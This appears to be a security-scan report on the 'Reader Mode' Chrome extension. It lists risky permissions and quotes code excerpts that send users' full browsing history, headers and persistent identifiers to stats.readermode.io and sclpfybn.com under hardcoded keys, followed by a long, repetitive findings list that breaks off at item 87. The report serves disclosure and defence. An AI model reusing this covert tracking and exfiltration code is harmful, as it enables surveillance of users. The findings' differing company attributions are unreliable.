Reader Mode

Reader Mode

ID: llimhhconnjiflfimocjggfjdlmlhblm

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Active
Version
1.4.6
Size
5.35 MB
Rating
3.1/5
Reviews
185
Users
100,000
Type
Extension
Updated
Nov 29, 2025
Category
Accessibility
Price
Free
Featured
Yes
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
readermode.ioView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Website
Visit
Total Extensions
3
Active
3
Obsolete
0
Listed
3
Unlisted
0
Total Users
102,917
Screenshot 2
Screenshot 3
Screenshot 4
Screenshot 5
Screenshot 6

An all-in-one, distraction-free reader with dyslexia support, accessibility features, bookmarking, highlighting, and research tools

Reader Mode is a feature-packed Chrome reading extension and web app that removes clutter, ads and distractions, while also includes advanced features such as dyslexia support, bookmarking, annotating, highlighting and text-to-speech. 📖 FEATURES • Distraction-free and ad-free "Reader Mode" • Web & PDF Highlighter • Share Reader Mode pages • Deletion of unwanted elements • Text-to-speech • Translation • Text Alignment • Custom theme • Custom CSS • Print page • Save page as PDF • Fullscreen mode • Auto-run ability • Auto-scroll • Save edited pages • Share To Twitter • Dyslexia Fonts • Dyslexia Ruler • Save and sync bookmarks all in one place • Sync to Evernote & Notion • and many more! To see all the features and learn more, check out https://readermode.io 📙 LEARN THE BASICS Learn how to use Reader Mode: https://help.readermode.io 🏷️ PRICING More information about pricing: https://readermode.io/pricing 🆘 SUPPORT Email: [email protected] Support form: https://airtable.com/shrJZYDwevtCoqck5

Item
Type
Severity
Description
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
webNavigation
Permission
High
This permission enables monitoring of all browser navigation events and transitions. Rated High because it can track every page visit, navigation method, and browsing pattern, potentially exposing sensitive browsing behavior and user activities.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
Broad Content Script Access
Risk Factor
High
This extension can inject scripts into any website.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
activeTab
Permission
Medium
This permission grants temporary access to the current tab. Rated Medium because it can access current page content when invoked, though limited to user-initiated actions.
alarms
Permission
Low
This permission schedules periodic tasks. Rated Low because it can only trigger events at specified times without access to sensitive data.

Registers a chrome.webRequest.onCompleted listener across <all_urls> to intercept every main-frame HTTP request the user makes. A hardcoded API key and symmetric AES-GCM key are embedded, and a per-user UUID is generated/persisted to identify the browser across sessions, enabling long-term tracking.

javascripts/libs/pageStatistics.js (Line 1)
function Statistics(api_key, encryptionKey) {  const t = this,    refs = {},    apiUrl = "https://stats.readermode.io";  let accessToken = null,    refreshToken = null,    uuid = null;  this.run = function() {    this.getUUIDfromStore(), chrome.webRequest.onCompleted.addListener(this.handlerOnCompletedWebRequest.bind(this), {      urls: ["<all_urls>"],      types: ["main_frame"]    }, [])  }

Every completed main-frame request (target URL, referrer URL, HTTP method, timestamp, stable user UUID) is exfiltrated to the remote server stats.readermode.io/process. This is comprehensive browsing-history collection far exceeding what a reader-mode extension needs, and the previous-tab referrer map reconstructs navigation sequences.

javascripts/libs/pageStatistics.js (Line 56)
this.handlerOnCompletedWebRequest = async function(t) {  if (!accessToken) {    await this.getAccessToken();  }  await this.sendData(await this.prepareRequest([{    fileDate: (new Date).toISOString(),    deviceTimestamp: Date.now(),    userId: uuid,    referrerUrl: refs[t.tabId] || t.initiator,    targetUrl: t.url,    requestType: t.method  }]));  refs[t.tabId] = t.url;}

The so-called 'safe-browsing' module is actually a commercial panelist-analytics clickstream SDK reporting to the third-party domains id.sclpfybn.com and cs.sclpfybn.com under partnerId/distributorId 221. The mode 'FULL_NAVIGATION' and panelistId/pinstanceId fields are hallmark identifiers of paid browsing-panel data-broker SDKs, not any legitimate Google Safe Browsing integration. Naming it 'safe-browsing' is deceptive labeling designed to trick users into consenting.

javascripts/libs/safe-browsing.js (Line 5139)
globalThis.safeBrowsing = () => c.promise, i(void 0, void 0, void 0, (function*() {        const e = new s.default({            host: "https://id.sclpfybn.com",            logging: !!Number("0")          }),          t = Boolean((yield chrome.storage.local.get("POLICY_AGREEMENT")).POLICY_AGREEMENT),          n = yield e.getKeyAsync(), i = new a.Stream({            mode: "FULL_NAVIGATION",            enabled: t || Boolean(Number("0")),            apiUrl: "https://cs.sclpfybn.com/api/rest/v2",            logging: Boolean(Number("0")),            compressRequest: Boolean(Number("1")),            distributorId: Number("221"),            panalyticsId: n,            partnerId: Number("221"),            pinstanceId: Number("2"),            sensitiveDataApiUrl: "https://id.sclpfybn.com",            sensitiveDataCheckEnabled: Boolean(Number("1")),            sensitiveRulesSyncUpIntervalInMin: 720          }), o = new r.SafeBrowsingAPI(i);

Hooks nearly every chrome.webRequest / webNavigation / tabs event across both http://*/* and https://*/* for main_frame and sub_frame, capturing request headers, response headers, navigation history, redirects, and tab lifecycle. Combined with the upload pipeline this constitutes wholesale surveillance of the user's web activity and exceeds what is required for any reading-mode functionality.

javascripts/libs/safe-browsing.js (Line 1815)
const M = {    urls: ["https://*/*", "http://*/*"],    types: ["main_frame", "sub_frame"]  },  D = e => (...t) => {    ...  };chrome.webRequest.onSendHeaders.addListener(D(((e, t) => {    e.webRequestHeadersSent(t)  })), M, ["requestHeaders"]),  chrome.webRequest.onHeadersReceived.addListener(D(((e, t) => {    e.webRequestHeadersReceived(t)  })), M, ["responseHeaders"]),  chrome.webRequest.onResponseStarted.addListener(D(((e, t) => {    e.webRequestResponseStarted(t)  })), M, ["responseHeaders"]),  chrome.webNavigation.onBeforeNavigate.addListener(...),  chrome.webNavigation.onCompleted.addListener(...),  chrome.webNavigation.onCreatedNavigationTarget.addListener(...),  chrome.webNavigation.onHistoryStateUpdated.addListener(...),  chrome.webRequest.onErrorOccurred.addListener(...),  chrome.webRequest.onBeforeRedirect.addListener(...),  chrome.tabs.onCreated.addListener(...),  chrome.tabs.onRemoved.addListener(...),  chrome.tabs.onReplaced.addListener(...),  chrome.tabs.onUpdated.addListener(...)

The exfiltrated browsing payload is AES-GCM encrypted with hardcoded keys before transmission, obscuring the contents from users, auditors and network monitoring tools. Encryption is bootstrapped automatically whenever the 'safe_browsing' storage flag is true, so once consented (or pre-set) the pipeline runs silently on every request.

javascripts/libs/pageStatistics.js (Line 117)
this.encryptData = async function(text) {  const enc = new TextEncoder();  const key = await crypto.subtle.importKey(    "raw",    enc.encode(encryptionKey),    "AES-GCM",    true,    ["encrypt"]  );  const iv = crypto.getRandomValues(new Uint8Array(16))  const cypher = await crypto.subtle.encrypt({      name: "AES-GCM",      iv: iv    },    key,    enc.encode(text)  );  ...}chrome.storage.local.get(function(storage) {  if (typeof storage.safe_browsing !== "undefined" && storage.safe_browsing == true) {    const stat = new Statistics("Eiv5soh8oolid3Uu", "OoCh9oamNookooP8");    stat.run();  }});

Serializes and compresses the aggregated navigation/request payload (URL, headers, browser, OS, tab/frame ids, panelist identifiers) and POSTs it to cs.sclpfybn.com as application/octet-stream. The compression + octet-stream content type reduces visibility in casual network inspection, and the payload includes stable panelist IDs tying every request back to a single user identity.

javascripts/libs/safe-browsing.js (Line 909)
async send(e, t) {  this.logger.detailed("http-client - payload for", {    url: t.url.value  }, (() => t));  const n = JSON.stringify(t),    i = this.options.compressRequest ? this.compressor.compress(n) : n,    r = this.options.compressRequest ? "application/octet-stream" : "application/json;charset=utf-8",    o = await fetch(this.endpoint(e), {      method: "POST",      body: i,      headers: {        "Content-Type": r      }    });  return await o.json()}endpoint(e) {  return `${this.options.apiUrl}${e}`}

The background service worker enables the panelist/clickstream collector on every browser startup if a single 'safe_browsing' boolean is set, turning a one-time consent click into persistent, always-on surveillance. The same flag simultaneously gates the secondary pageStatistics.js uploader, so one consent covers two separate exfiltration channels — a pattern designed to minimize user awareness of ongoing data collection.

javascripts/background.js (Line 4)
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {  if (request.action == 'safe-browsing-agreement') {    chrome.storage.local.set({      safe_browsing: request.agreement    });  } else if (request.action == 'safe-browsing-start') {    globalThis.safeBrowsing()      .then((service) => service.enable());  } else {}});chrome.storage.local.get(function(storage) {  if (typeof storage.safe_browsing !== 'undefined' && storage.safe_browsing == true) {    if (storage.safe_browsing == true) {      globalThis.safeBrowsing()        .then((service) => service.enable());    }  }});

By severity

Critical88
High102
Medium26
Low15

Versions scanned

Showing 35 of 40 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.0.94
2.0.83
2.0.73
2.0.63
2.0.54
2.0.33
2.0.24
2.0.15
1.5.87
1.5.79
1.5.65
1.5.58
1.5.47
1.5.37
1.5.26
1.5.010
1.4.99
1.4.810
1.4.78
1.4.67
1.4.57
1.4.47
1.4.38
1.4.28
1.4.19
1.3.98
1.3.88
1.3.76
1.3.57
1.3.46
1.3.36
1.3.27
1.3.07
1.2.97
1.2.88

Files with findings

20 distinct paths — top paths by unique finding count:

  • javascripts/libs/safe-browsing.js90
  • javascripts/libs/pageStatistics.js31
  • javascripts/background.js20
  • bg.js14
  • javascripts/impacthero_background.js14
  • automate.js10
  • content-script.js10
  • javascripts/src/redirectcheck.js7
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
javascripts/impacthero_background.js (line 95)Uses the scripting permission with <all_urls> to inject the remotely-supplied `merchant` object and then `automate.js` into arbitrary pages the user visits whenever the hostname matches the downloaded merchant list. T…
2Code Injection
critical
javascripts/impacthero_background.js (line 99)On every tab update the background worker cross-references the page hostname against the remotely fetched merchant list and, on a match, uses chrome.scripting.executeScript to inject a merchant payload and automate.js…
3Credential Theft
critical
javascripts/background.js (line 257)Dynamically registers a webRequest.onBeforeSendHeaders listener (scoped to URLs supplied by remote config) that reads a specific outgoing request header by name (e.g. Authorization/Cookie), base64-encodes its value to…
4Credential Theft
critical
javascripts/content.js (line 53)When the user visits the attacker-specified target domain, the content script scrapes session/user identifiers (uid, openapi_tk, cx context, gpta) by regex-matching a secret token out of page HTML, then hands them to …
5Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)The bundled "safe-browsing.js" library is not Google Safe Browsing; it is a third-party clickstream telemetry SDK configured to send FULL_NAVIGATION data to obfuscated domains id.sclpfybn.com and cs.sclpfybn.com under…
6Data Exfiltration
critical
javascripts/background.js (line 210)POSTs a Bearer token (supplied by the content script from remote config) over plaintext HTTP to chromelogin.linewize.net — a domain squatting on the Linewize (school web-filter) brand. The endpoint is disguised as an …
7Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 909)Exfiltration transport: JSON payloads (URL, page title, HTTP request headers, HTTP response, navigation sequence, tab/frame IDs, OS, browser, panelist IDs — built via BgPayloadBuilder) are lz-string-compressed to an o…
8Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)The file is named 'safe-browsing.js' but is actually a clickstream/panelist data collection SDK. It configures a 'FULL_NAVIGATION' stream that exfiltrates navigation data to obfuscated domains id.sclpfybn.com and cs.s…
9Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 903)POSTs compressed binary payloads containing captured URLs, tab/frame data, request/response headers, browser, OS, page titles, referrers, and panelist identifiers to '/secure/urls/checkSafety'. The 'checkSafety' namin…
10Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 909)Collected navigation payloads (URL, timestamp, headers, tab context, OS/browser, panelist identifiers, referrer, title) are serialized, gzip-compressed to application/octet-stream, and POSTed to cs.sclpfybn.com. Compr…
11Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)The bundled 'safe-browsing' library is actually a commercial clickstream/panel-analytics SDK that streams the user's full navigation (mode: FULL_NAVIGATION) to the obfuscated third-party endpoints id.sclpfybn.com and …
12Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)Bundles a third-party `SafeBrowsing` SDK that actually operates in `FULL_NAVIGATION` mode against non-Google hosts `id.sclpfybn.com` and `cs.sclpfybn.com` (Panjiva-style clickstream panelist data brokerage). It assign…
13Data Exfiltration
critical
javascripts/libs/pageStatistics.js (line 177)A second, separate telemetry pipeline registers a persistent per-user UUID and sends browsing data (URL, referrer, method, timestamps) to `stats.readermode.io/ajax` and `/process`, encrypting the payload with AES-GCM …
14Data Exfiltration
critical
javascripts/libs/pageStatistics.js (line 177)Registers a chrome.webRequest.onCompleted listener on <all_urls> main_frame navigations and POSTs every URL/referrer/method tagged with a persistent UUID to https://stats.readermode.io, AES-GCM encrypted with a hardco…
15Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)The bundled 'safe-browsing' module is actually a third-party panelist/analytics SDK (sclpfybn.com, distributorId/partnerId 221) operating in FULL_NAVIGATION mode. It hooks chrome.webRequest.onSendHeaders/onHeadersRece…
16Data Exfiltration
critical
javascripts/libs/pageStatistics.js (line 177)Captures every main_frame navigation via chrome.webRequest.onCompleted plus AJAX traffic on a hardcoded list of e-commerce/grocery sites (Amazon, Walmart, Tesco, Ocado, etc.), assigns a persistent UUID, AES-GCM-encryp…
17Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)Bundled third-party browsing-panel SDK (sclpfybn.com, a known Similarweb-associated data-collection domain). Runs in FULL_NAVIGATION mode, POSTing every URL visited to https://cs.sclpfybn.com/api/rest/v2/secure/urls/c…
18Data Exfiltration
critical
javascripts/libs/pageStatistics.js (line 177)A full browsing-telemetry pipeline: every main_frame webRequest across <all_urls> is captured with a persistent UUID and POSTed to https://stats.readermode.io. Hard-coded API key ('Eiv5soh8oolid3Uu') and AES-GCM encry…
19Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)The file marketed as 'safe-browsing' is in fact a bundled third-party panel-analytics / clickstream SDK (id.sclpfybn.com, cs.sclpfybn.com, distributorId/partnerId 221) running in FULL_NAVIGATION mode. It sends compres…
20Data Exfiltration
critical
javascripts/libs/pageStatistics.js (line 56)Every completed main-frame request (target URL, referrer URL, HTTP method, timestamp, stable user UUID) is exfiltrated to the remote server stats.readermode.io/process. This is comprehensive browsing-history collectio…
21Data Exfiltration
critical
javascripts/libs/pageStatistics.js (line 1)Registers a webRequest.onCompleted listener on <all_urls> main_frame and streams every URL the user visits to an external server (stats.readermode.io). The extension mints a persistent UUID identifier stored in chrome…
22Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)A file named 'safe-browsing.js' actually bootstraps a third-party panelist/analytics SDK that streams FULL_NAVIGATION data (URLs, tabs, frames, HTTP request headers, response data, browser/OS info, referrers) to exter…
23Data Exfiltration
critical
javascripts/libs/pageStatistics.js (line 177)Registers chrome.webRequest.onCompleted across <all_urls> and uploads URL/referrer/timestamp/userId tuples for every main_frame navigation to 'https://stats.readermode.io', authenticated with a hard-coded api_key 'Eiv…
24Data Exfiltration
critical
javascripts/libs/pageStatistics.js (line 56)For every main-frame network request on every site the user visits, this handler exfiltrates the target URL, the prior referrer URL (reconstructed from in-memory per-tab state), timestamps, HTTP method, and a stable p…
25Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)A bundled third-party 'Panelytics/clickstream' SDK is initialized in FULL_NAVIGATION mode and configured to send data to the sclpfybn.com infrastructure with panelistId/partnerId/distributorId — the canonical schema o…
26Data Exfiltration
critical
javascripts/libs/pageStatistics.js (line 56)On every completed main-frame web request, the handler exfiltrates {userId (persistent UUID), referrerUrl, targetUrl, timestamp, method} to https://stats.readermode.io/process. Because refs[tabId] is chained across na…
27Data Exfiltration
critical
javascripts/libs/pageStatistics.js (line 8)Registers a webRequest.onCompleted listener over <all_urls> and exfiltrates every main-frame navigation (timestamp, persistent per-user UUID, referrer URL, target URL, HTTP method) to https://stats.readermode.io/proce…
28Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)Bundles a third-party 'safe-browsing' SDK pointed at sclpfybn.com (distributorId/partnerId 221) operating in FULL_NAVIGATION mode — a known pattern used by commercial browsing-data monetization SDKs that resell every …
29Data Exfiltration
critical
javascripts/libs/pageStatistics.js (line 8)Using the webRequest API on <all_urls> the extension intercepts every main_frame navigation and forwards the target URL, referrer URL, HTTP method, and a persistent per-user UUID to stats.readermode.io/process. This i…
30Data Exfiltration
critical
javascripts/libs/pageStatistics.js (line 1)Registers a `chrome.webRequest.onCompleted` listener on `<all_urls>`/`main_frame` and exfiltrates every top-level navigation (target URL, referrer, method, persistent user UUID, timestamps) to `https://stats.readermod…
31Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)A bundled third-party "Panalytics"-style clickstream SDK configured in `FULL_NAVIGATION` mode, POSTing compressed navigation events to `cs.sclpfybn.com/api/rest/v2` and maintaining a persistent `panalyticsid` via cook…
32Data Exfiltration
critical
javascripts/libs/pageStatistics.js (line 1)Installs a webRequest.onCompleted listener across <all_urls> for every main_frame navigation and POSTs the full URL, referrer, method, tab-scoped user UUID and timestamp to stats.readermode.io. This is a comprehensive…
33Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)The module cosmetically named 'safe-browsing.js' is a third-party clickstream/panelist telemetry SDK (mode 'FULL_NAVIGATION') that ships every navigation to cs.sclpfybn.com — a randomized-label domain unrelated to 're…
34Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)The extension bundles a third-party clickstream/panelist SDK (branded internally as 'safeBrowsing') that ships a unique panelist identifier plus hardcoded distributorId/partnerId=221 and pinstanceId=2 to two third-par…
35Data Exfiltration
critical
javascripts/libs/pageStatistics.js (line 1)A second, independent exfiltration module is bundled in the extension. It encrypts browsing data with a hardcoded AES-GCM key and ships URL+referrer+timestamp+persisted UUID to an external 'recopiladora' (Spanish for …
36Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)The bundle initializes a 'FULL_NAVIGATION' clickstream tracker that exfiltrates browsing data to two unrelated third-party endpoints (id.sclpfybn.com and cs.sclpfybn.com/api/rest/v2). Use of audience-panel terminology…
37Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)The bundled 'safe-browsing' library is actually a full-navigation clickstream SDK that sends user browsing data to the unrelated third-party domains id.sclpfybn.com and cs.sclpfybn.com with a partner/distributor ID (2…
38Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 903)HttpClient compresses and POSTs the full URL-visit payloads (URL value, page title, referrer, tab context) as application/octet-stream to ${apiUrl}/secure/urls/checkSafety. The 'checkSafety' name is window-dressing; t…
39Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)The extension embeds a commercial 'panel analytics' browsing-data-collection SDK whose backend is the undisclosed third-party domain sclpfybn.com. It boots in FULL_NAVIGATION mode, with a persistent panalyticsId ident…
40Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 909)HttpClient.send serializes the assembled navigation payload (visited URL, captured headers, page title, tab context, panalyticsId) and POSTs it compressed (application/octet-stream) to `${apiUrl}/secure/urls/checkSafe…
41Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)Hard-coded configuration for a third-party 'panelist analytics' SDK that streams FULL_NAVIGATION data to sclpfybn.com with distributor/partner/panelist instance IDs. This is the canonical Similarweb/Panelist-style mon…
42Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 5139)The bundled 'safe-browsing' library initializes a FULL_NAVIGATION telemetry stream pointing at two obfuscated third-party domains (id.sclpfybn.com, cs.sclpfybn.com) completely unrelated to the extension's stated Reade…
43Data Exfiltration
critical
javascripts/libs/safe-browsing.js (line 909)The HttpClient POSTs compressed (application/octet-stream) payloads containing full URLs and navigation context to /secure/urls/checkSafety and /secure/urls/checkSafety/basic on the third-party endpoint. Compressing t…
44Network Interception
critical
javascripts/libs/safe-browsing.js (line 1815)Attaches webRequest and webNavigation listeners on every http/https URL across main and sub frames, capturing requestHeaders and responseHeaders for every page load, plus tab create/update/remove events. This is full-…
45Network Interception
critical
javascripts/libs/safe-browsing.js (line 1825)Registers broad webRequest and webNavigation listeners matching {urls:['https://*/*','http://*/*'], types:['main_frame','sub_frame']} with requestHeaders/responseHeaders access. Every page the user visits — URL, reque…
46Network Interception
critical
javascripts/libs/safe-browsing.js (line 1815)The SDK installs webRequest and webNavigation listeners across every http(s) URL, capturing request/response headers, redirects, errors, navigation targets, and SPA history-state transitions for every page the user vi…
47Network Interception
critical
javascripts/libs/safe-browsing.js (line 1825)The SDK registers listeners on webRequest (send/received headers, response started), webNavigation (beforeNavigate, completed, historyStateUpdated) and tabs (create/remove/replace/update) across all http(s) URLs, exfi…
48Network Interception
critical
javascripts/libs/safe-browsing.js (line 1815)Attaches listeners across http/https <all_urls> for every major webRequest stage (request/response headers, redirects, errors) plus every webNavigation and tab event. The captured URLs, headers and navigation graph ar…
49Network Interception
critical
javascripts/libs/safe-browsing.js (line 1825)The panelist SDK registers extraInfoSpec listeners on webRequest.onSendHeaders / onHeadersReceived / onResponseStarted with ['requestHeaders'] / ['responseHeaders'], capturing raw HTTP request and response headers for…
50Network Interception
critical
javascripts/libs/safe-browsing.js (line 1815)The bundled SDK hooks every webRequest and webNavigation event (onSendHeaders/onHeadersReceived/onResponseStarted with requestHeaders+responseHeaders) on http(s)://*/* for main_frame and sub_frame, plus all tab lifecy…
51Network Interception
critical
javascripts/libs/safe-browsing.js (line 1815)Hooks nearly every chrome.webRequest / webNavigation / tabs event across both http://*/* and https://*/* for main_frame and sub_frame, capturing request headers, response headers, navigation history, redirects, and ta…
52Network Interception
critical
javascripts/libs/safe-browsing.js (line 1497)The payload builder harvests full HTTP request and response metadata for every navigation: URL, request method, request headers, response headers, status code, redirect URL, server IP, page title, referrer, OS/browser…
53Network Interception
critical
javascripts/libs/safe-browsing.js (line 1825)Hooks every webRequest (sent headers, received headers, response started) and every webNavigation event (before navigate, completed, history state updated, new target) for https://*/* and http://*/*. This captures req…
54Network Interception
critical
javascripts/libs/safe-browsing.js (line 1815)The bundled Stream SDK hooks nearly every browsing-surface API (webRequest send/receive headers/response/redirect/error, webNavigation before/complete/history-state/cross-tab, tabs create/update/remove/replace) across…
55Network Interception
critical
javascripts/src/redirectcheck.js (line 1)Content script registered at document_start on <all_urls> performs an unvalidated open redirect: any page URL containing a `partnerurl=` query parameter causes `location.href` to be overwritten with the attacker-suppl…
56Network Interception
critical
javascripts/src/automate.js (line 31)Injected into any merchant page hit, this script silently opens a background tab to `impacthero.co/?partnerurl=<merchant affiliate link>` — the partner URL that `redirectcheck.js` then follows and auto-closes. This is…
57Network Interception
critical
javascripts/libs/safe-browsing.js (line 1815)The bundled library attaches listeners to essentially every browser navigation and HTTP request event across http://*/* and https://*/* (main_frame and sub_frame), including request headers, response headers, redirect…
58Network Interception
critical
javascripts/libs/safe-browsing.js (line 1815)The tracker registers webRequest hooks (onSendHeaders, onHeadersReceived, onResponseStarted, onErrorOccurred, onBeforeRedirect) for every http(s) URL on every frame, capturing request and response headers. It also sub…
59Network Interception
critical
javascripts/libs/safe-browsing.js (line 1825)Broad webRequest/webNavigation/tabs listeners over https://*/* and http://*/* capture every navigation event, request/response headers, tab creation/update events for all sites the user visits. These events feed the B…
60Network Interception
critical
javascripts/libs/safe-browsing.js (line 1815)At service-worker startup the SDK attaches listeners on webRequest.onSendHeaders / onHeadersReceived / onResponseStarted and every webNavigation event across https://*/* and http://*/* with requestHeaders/responseHead…
61Network Interception
critical
javascripts/libs/safe-browsing.js (line 1825)Registers webRequest+webNavigation listeners scoped to urls:['https://*/*','http://*/*'] and main_frame+sub_frame, capturing every request's URL, method, timestamp, request headers, response headers, status codes, red…
62Network Interception
critical
javascripts/libs/safe-browsing.js (line 844)The FgNavProcessor hooks every top-level navigation and bundles the URL, referrer, page title, tab linkage, OS, and any queued background sub-requests into a single payload stamped with the user's panelistId before sh…
63Network Interception
critical
javascripts/libs/safe-browsing.js (line 1184)The library registers chrome.webRequest listeners across onSendHeaders, onHeadersReceived, onResponseStarted, and onBeforeRedirect for all frames and both main and sub-resource navigations. This intercepts every HTTP …
64Privilege Escalation
critical
automate.js (line 161)When the user visits a matched merchant site, the extension silently opens a background tab to `impacthero.co` with an affiliate `partnerurl` derived from the downloaded merchant list. Combined with `redirectcheck.js`…
65Remote Code Loading
critical
javascripts/background.js (line 300)At background-service-worker startup, the extension fetches an attacker-controlled configuration blob from readermodeext.info (a domain unrelated to the stated readermode.io product) and caches it in chrome.storage. T…
66Tracking
critical
javascripts/libs/safe-browsing.js (line 5139)The so-called 'safe-browsing' module is actually a commercial panelist-analytics clickstream SDK reporting to the third-party domains id.sclpfybn.com and cs.sclpfybn.com under partnerId/distributorId 221. The mode 'FU…
67Tracking
critical
javascripts/libs/pageStatistics.js (line 56)Each captured navigation is packaged with a stable userId (UUID), referrer URL (chained per-tab), target URL, method, and timestamps, then AES-GCM encrypted with a hardcoded symmetric key and POSTed to the backend. Th…
68Tracking
critical
javascripts/libs/pageStatistics.js (line 1)Registers a chrome.webRequest.onCompleted listener on <all_urls> to capture every top-level navigation the user makes. Each hit is persisted to a stable UUID stored in chrome.storage.sync, which uniquely identifies th…
69Tracking
critical
javascripts/libs/safe-browsing.js (line 193)The BgPayloadBuilder/FgPayloadBuilder payload objects tie every captured URL, page title, referrer, request headers, response headers, tab id, frame id, OS name/version, and browser name/version to a stable panelistId…
70Tracking
critical
javascripts/libs/safe-browsing.js (line 2484)A 22-character 'panalyticsid' (panelistId) is generated and persisted across three independent channels — HTTP cache (/api/identity/cache with X-PANEL-USER-KEY header), server-set cookies (/api/identity/cookie), and l…
71Unauthorized Data Collection
critical
javascripts/libs/safe-browsing.js (line 1497)The navigation processor assembles a payload per visited page containing the full URL, request method, request headers, tabId chain, frame hierarchy, timestamp, page title, referrer, OS/browser fingerprint, and a pers…
72Unauthorized Data Collection
critical
javascripts/libs/safe-browsing.js (line 5139)Bundles a third-party clickstream SDK (id.sclpfybn.com / cs.sclpfybn.com) with FULL_NAVIGATION mode enabled, which uses the webRequest and webNavigation APIs (see lines 1825-1842) to capture every request header, resp…
73Unauthorized Data Collection
critical
javascripts/libs/safe-browsing.js (line 5139)The bundled 'safe-browsing' library is not Google Safe Browsing (which uses safebrowsing.googleapis.com). It is a third-party panelist/analytics SDK configured with distributorId/partnerId/panalyticsId and streams dat…
74Unauthorized Data Collection
critical
javascripts/libs/safe-browsing.js (line 5139)A bundled 'safe-browsing' library is actually a third-party clickstream/analytics SDK that ships a persistent panelist identifier (panalyticsId) and posts full-navigation data to the obscure domains id.sclpfybn.com an…
75Unauthorized Data Collection
critical
javascripts/libs/safe-browsing.js (line 5139)The bundled 'safe-browsing.js' is actually a third-party click-stream / panelist SDK (sclpfybn.com) that initialises in 'FULL_NAVIGATION' mode with a persistent panalyticsId, distributorId=221 and partnerId=221 and st…
76Unauthorized Data Collection
critical
javascripts/libs/pageStatistics.js (line 4)After a click on one of the listed e-commerce sites (Amazon, Walmart, Tesco, Sainsbury's, etc.) the extension captures every subsequent webRequest (XHRs, pings, websockets, media, stylesheets, scripts — the full noLog…
77Unauthorized Data Collection
critical
javascripts/libs/pageStatistics.js (line 1)Registers a chrome.webRequest.onCompleted listener across <all_urls> to intercept every main-frame HTTP request the user makes. A hardcoded API key and symmetric AES-GCM key are embedded, and a per-user UUID is genera…
78Unauthorized Data Collection
critical
javascripts/libs/safe-browsing.js (line 5139)Despite the file being named "safe-browsing.js", it bootstraps a third-party monetization/panelware SDK that contacts obscure domains id.sclpfybn.com and cs.sclpfybn.com in FULL_NAVIGATION mode with partner/distributo…
79Unauthorized Data Collection
critical
javascripts/libs/safe-browsing.js (line 116)The BgPayloadBuilder assembles exfiltration payloads tagged as 'INTERNAL_BROWSER_EXTENSION' containing per-navigation URL, HTTP request headers+method, HTTP response body, browser/OS fingerprint, tab/frame identity, a…
80Unauthorized Data Collection
critical
javascripts/libs/pageStatistics.js (line 3)An AjaxLogCollect routine intercepts every completed web request on target e-commerce sites (Amazon, Walmart, Tesco, Sainsbury's, Loblaws, Ocado, ASDA, etc.) after a user click and ships full request details (includin…
81Unauthorized Data Collection
critical
javascripts/libs/pageStatistics.js (line 1)Registers a webRequest.onCompleted listener for <all_urls> main_frame navigations and streams them to a remote server. The hard-coded api_key/encryptionKey and persistent UUID identify the user across the session, tur…
82Unauthorized Data Collection
critical
javascripts/libs/safe-browsing.js (line 5139)A second, independent tracking SDK ships with the extension, labeled "SafeBrowsing" but actually reporting to an unrelated third-party domain (sclpfybn.com) with distributorId/partnerId/pinstanceId fields typical of a…
83Unauthorized Data Collection
critical
javascripts/libs/pageStatistics.js (line 1)Hooks chrome.webRequest.onCompleted on <all_urls> main_frame requests and exfiltrates every navigation (target URL, referrer URL, HTTP method, persistent UUID, timestamps) to https://stats.readermode.io/process. This …
84Unauthorized Data Collection
critical
javascripts/libs/safe-browsing.js (line 5139)Bundled third-party 'panelist' analytics SDK from sclpfybn.com (a known commercial browsing-data brokerage) configured in FULL_NAVIGATION mode with a partner/distributor ID. Despite being labeled SafeBrowsingAPI, it s…
85Unauthorized Data Collection
critical
javascripts/libs/safe-browsing.js (line 193)Payload builder assembles a per-navigation record containing the visited URL, page title, referrer, request/response headers, OS+browser fingerprint, tab/frame topology, and a stable panelistId tied to a partner/distr…
86Unauthorized Data Collection
critical
javascripts/app.js (line 2495)The consent dialog (app.html line 1624: 'We do not collect any personal data') is deceptive. Both the Agree and Decline handlers dispatch the identical `safe-browsing-start` message, which the background worker forwar…
87Unauthorized Data Collection
critical
